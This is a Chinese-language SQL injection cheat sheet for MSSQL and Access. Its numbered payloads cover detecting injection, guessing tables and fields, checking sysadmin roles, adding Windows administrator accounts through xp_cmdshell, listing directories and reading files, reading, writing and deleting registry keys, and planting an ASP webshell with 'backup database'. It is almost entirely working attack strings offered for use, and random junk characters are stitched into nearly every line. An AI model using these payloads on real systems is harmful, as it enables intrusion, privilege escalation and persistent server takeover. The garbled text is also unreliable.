1.判断是否有注入;and 1=1 ;and 1=2 h-%R<[
2.初步判断是否是mssql ;and user>0 t]YC"%[S
#Y4=J
6
3.注入参数是字符'and [查询条件] and ''=' {|'E
ZSG9t2qlv
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 9<>wIl*T`
*FM Mjz
5.判断数据库系统 |6$p;Aar
0:T|S>FsAm
;and (select count(*) from sysobjects)>0 mssql }nL7T'$>
lR(+tj)9uO
;and (select count(*) from msysobjects)>0 access svq<)hAf<
TTKs3iTXz
PF53mUs4
=W"F[fD
6.猜数据库 ;and (select Count(*) from [数据库名])>0 `I3r3WyA
r.BIJt)
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0}CGuws
\Rp-;.I@6
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 * cgI.+
9_
dpR.
9.(1)猜字段的ascii值(access) [xGf,;Z
7eiV{ tYF
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 %;rHrDP(>
*#C+iAF|)'
(2)猜字段的ascii值(mssql) |b)Y#)C;
WUh$^5W
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 h"/<?3{
Zd')57{
10.测试权限结构(mssql) ;t|Ii8Ne
^G.B+dG@`x
P9vA7[
/%;mqrdk
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- hX=A)73(
z&fwE$Nm
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- yp({>{u7
?]}8o}G
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- FN8NTBk
CL+}|7O(
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- @]ytla>d
=_:et0
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- d%o&+l#
<kx&w(=
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- * iF]n2g:
!y@6Mm
;and 1=(select IS_MEMBER('db_owner'));-- )s%[T-uKi
l\@)y4
+
::}{_ Z
s;6CExH
11.添加mssql和系统的帐户 FgB&b
l=v4Fa0^jF
;exec master.dbo.sp_addlogin username;-- }Nf%n@
;exec master.dbo.sp_password null,username,password;-- H{=21\a\
,&R/4:I
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- -}KC=,]vh
SN1}xR$
;exec master.dbo.xp_cmdshell 'net user username password n\^Tq<] a
N19({0+i2
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
.p e( lP
R
wZ]),o
;exec master.dbo.xp_cmdshell 'net user username password /add';-- .%L?J E
jbS\vyG
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- &M.66O@
DF*:_B)
;n&t>pBM
OHhsP}/
12.(1)遍历目录 +Zaj,oEE
`1bv@yzq
;create table dirs(paths varchar(100), id int) !Rhlf.x
i}B2R$Z3
;insert dirs exec master.dbo.xp_dirtree 'c:\' >kW@~WDMu
oz}+T(@O
;and (select top 1 paths from dirs)>0 U
G~b a
}<9cL'
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) TzNn^ir=HX
$3s@}vLd
'*"vkgN
"gDb1h)8
(2)遍历目录 =*r])Vg^
CnG+Mc^
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3_MS.iM
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 i? K|TC`
}x07^4$j
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 !qM=a3
yFtd=AI'E
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 %nV]ibp2)
`Ch9~*p
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Q+W1lv8R
LC'{p
q)^Jj?W
A m>cd;
13.mssql中的存储过程 Fd[zDz
jhb6T ?}
xp_regenumvalues 注册表根键, 子键 mjKS{
{z")7g ]l
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 -bSSP!f
Nw1#M%/!r!
xp_regread 根键,子键,键值名 A^y|J`k|
2C9V|[U,
;exec xp_regread br":y>=,
{;:/-0s
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 w-t8C=Z
xT+zU} z
xp_regwrite 根键,子键, 值名, 值类型, 值 B#.L
6y9t(m
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 !g(KK|`,m
3tZ]4ms}
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 98uV6b~g
nh!a)]c[
xp_regdeletevalue 根键,子键,值名 '8{Ne!y
RF%KA[Dj
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 DUC#NZgw
!>zo_fP
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4'!c*@Y
.U?'i<
OslL~<
cM$P`{QrM
14.mssql的backup创建webshell 8>WC5%f*
2&^]k`Aj6D
use model @jsDq
Ln
(?(zH3
create table cmd(str image); Z(ACc9k6:'
`O[};3O&
insert into cmd(str) values (''); Cif>7]M
LYaZ1*
backup database model to disk='c:\l.asp'; /oR<A
%0,#ADCqOe
H\:lxR^
|Y [wzDYV
15.mssql内置函数 7 D^gMN%p
[`c^4E
;and (select @@version)>0 获得Windows的版本号 /M3Y~l$
/qy-qUh3h
;and user_name()='dbo' 判断当前系统的连接用户是不是sa (tZrw5@
/.o^R6
;and (select user_name())>0 爆当前系统的连接用户 5
({t4dm
.MJofE;Jn
;and (select db_name())>0 得到当前连接的数据库 ^w c"&;=c|
(<}&DE
/q5v"iX]T
37|&?||
16.简洁的webshell 3~S8!nx
EioB%f3
use model 9&` 2V
b/{t|io{
create table cmd(str image); *22nVKi{
7zSLAHW
insert into cmd(str) values (''); lMg+R<$~I
j+["JXy
backup database model to disk='g:\wwwtest\l.asp';